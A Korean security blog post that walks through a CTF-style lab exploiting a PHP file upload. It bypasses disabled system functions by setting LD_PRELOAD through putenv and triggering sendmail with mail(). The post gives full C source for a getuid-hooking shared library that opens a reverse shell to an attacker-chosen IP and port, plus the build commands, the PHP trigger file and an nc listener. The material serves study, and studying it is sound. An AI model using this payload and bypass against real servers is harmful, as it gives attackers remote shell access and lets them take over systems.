Blog to Blog

[WebHacking] File Upload 취약점 - LD_PRELOAD와 MAIL 함수를 이용한 공격 본문

Hacking/Study

[WebHacking] File Upload 취약점 - LD_PRELOAD와 MAIL 함수를 이용한 공격

kookhh0827 2019. 8. 3. 18:13
<요약>
PHP의 File Upload 취약점을 활용할 때 System 관련 함수가 막혔을 경우에는
putenv함수로 LD_PRELOAD 환경변수를 추가해 getuid 함수 등을 덮어씌운 뒤,
mail함수를 호출하면 외부적으로 execve가 호출되며 우리가 삽입한 함수를 실행시킬 수 있다.

 

이와 관련해 실습을 하면서 설명을 기록해 두고자 합니다.

 

file upload가 되는 간단한 페이지

 

실습 사이트는 파일 업로드 기능이 구현되어 있는 간단한 페이지를 갖고 있습니다.

우리의 목표는 index.php가 들어있는 폴더에 있는 read_flag 파일을 실행시키는 것입니다.

 

올린 파일을 업로드 해주는 간단한 소스코드로 이루어져 있다.

 

전혀 보안처리가 되어있지 않은 소스코드로 작성되어 있기 때문에,

exec 등의 함수로 ../../read_flag를 실행시켜 받아오면 끝날것 같아 보입니다.

 

 

phpinfo에서 본 disable_function 리스트

 

그러나 해당 사이트의 php 설정파일(php.ini)에서 시스템 관련 함수를 막아놨기 때문에,

간단한 방법으로는 해결할 수 없습니다.

 

여기서 필요한 방법이 LD_PRELOAD를 이용해 함수를 후킹하는 것입니다.

 

LD_PRELOAD에 등록된 동적 라이브러리(shared object)가 가장 먼저 로딩되므로,

이보다 뒤에 동일한 이름의 함수가 등록되어도 항상 LD_PRELOAD에 등록된 함수가 먼저 실행됩니다.

이로인해 어떤 프로그램이 실행되는 과정을 변조시킬 수 있는데 이를 so injection과 함수 후킹이라고 부릅니다.

 

FILE UPLOAD 취약점에서 이를 활용하기 위해서는 두가지 조건을 만족해야 합니다.

 

 

1. .so 파일(라이브러리 파일)을 업로드 하고, 환경변수 LD_PRELOAD에 등록할 수 있어야 한다.
2. php에서 우리가 후킹한 외부의 어떤 함수를 사용해야 한다.

 

이 두 조건을 충족시키기 위해 putenv와 mail 함수를 사용하는 방법이 알려져 있는데요.

mail 함수는 호출 시 sendmail을 사용하는데,

여기서 execve를 이용해 "/bin/sh"를 실행시키기 때문에,

getuid와 같은 함수들이 호출되게 됩니다.

 

그리고 이 getuid 함수는 "unistd.h"에서 가져오게됩니다.

 

즉 우리가 만든 동적 라이브러리를 putenv를 통해 LD_PRELOAD에 등록하게 되면,

unistd.h의 getuid보다 우리가 정의해준 getuid가 우선 순위를 갖게되어

우리가 원하는 동작을 유도할 수 있게됩니다.

 

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>

void payload() {
    struct sockaddr_in serveraddr;
        int server_sockfd;
        int client_len;
        char buf[80],rbuf[80], *cmdBuf[2]={"/bin/sh",(char *)0};

        server_sockfd = socket(AF_INET, SOCK_STREAM, 6);
        serveraddr.sin_family = AF_INET;
        serveraddr.sin_addr.s_addr = inet_addr("[IP_HERE]"); 
        serveraddr.sin_port = htons(atoi("[PORT_HERE]"));
        client_len = sizeof(serveraddr);

        connect(server_sockfd, (struct sockaddr*)&serveraddr, client_len);

        dup2(server_sockfd, 0);
        dup2(server_sockfd, 1);
        dup2(server_sockfd, 2);

        execve("/bin/sh",cmdBuf,0);
}   

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

 

이를 위해 먼저 간단한 C코드를 짜보았습니다.

payload 함수에는 리버스 쉘을 연결시켜주는 코드가 들어있습니다(출처: https://qkqhxla1.tistory.com/251)

제가 적어놓은 IP 주소와 포트로 리버스 쉘을 연결시켜 줍니다.

 

그리고 getuid() 함수를 덮어씌우기 위해 함수를 정의해주었습니다.

만약 이 동적라이브러리가 서버에 업로드되고 환경변수에 등록된 채로 getuid가 호출된다면,

원격에서 쉘을 딸 수 있겠죠?

 

$ gcc -c -fPIC hack.c -o hack 
$ gcc -shared hack -o hack.so

 

그 다음 이를 hack.c로 저장하고, hack.so파일로 만들어줬습니다.

 

hack.so 파일이 잘 업로드 된 모습

서버에 이를 업로드 했으니,

이제 putenv와 mail함수를 호출하는 php 소스코드를 올릴 차례입니다.

 

<?php
    putenv("LD_PRELOAD=./hack.so");
    mail('a','a','a','a');
?>

 

간단한 php 소스코드입니다.

putenv를 통해 LD_PRELOAD 환경변수를 등록해 주고,

mail 함수를 실행해 웹서버 daemon이 sendmail을 사용하도록 유도합니다.

 

 

hack.php 파일이 잘 업로드 된 모습

 

원하는 파일들을 모두 등록해줬으니,

이제 hack.php를 클릭해 실행시키면 됩니다.

 

 

외부 서버에서 nc로 리버스 쉘을 받아주자

 

다른 외부 서버에서 nc로 포트를 열고 응답을 기다린 후

hack.php 파일을 실행시키자 정상적으로 쉘이 따졌습니다.

 

FLAG도 정상적으로 얻었다.

 

이렇게 하면 LD_PRELOAD 환경변수와 mail 함수를 이용한 exploit을 성공한 것입니다.

 

내부적으로 execve를 실행한다.

이러한 공격이 가능한 원인은 앞서 말했듯이

내부적으로 외부의 sendmail을 실행시키게 되면서 execve가 실행되기 때문입니다.

 

위 사진을 보면 mail함수가 들어있는 php 소스코드를 실행시키면

[pid 4358] execve("/bin/sh", ...)

로 "/bin/sh"를 execve로 실행시키는 과정이 있음을 알 수 있습니다.

 

그렇다면 여기서 의문이 생길 수 있습니다.

 

굳이 mail 함수를 사용하지 않더라도 php가 외부 함수만 호출시키게 한다면

해당 함수를 덮어씌워 exploit 해볼 수 있지 않을까?

 

물론 가능합니다.

이에 대한 내용은 다음 포스트에서 다뤄보도록 하겠습니다.

 

만약 포스트에 잘못된 내용이 있거나, 추가해야 할 부분이 있다면 댓글로 알려주시길 바랍니다.

Comments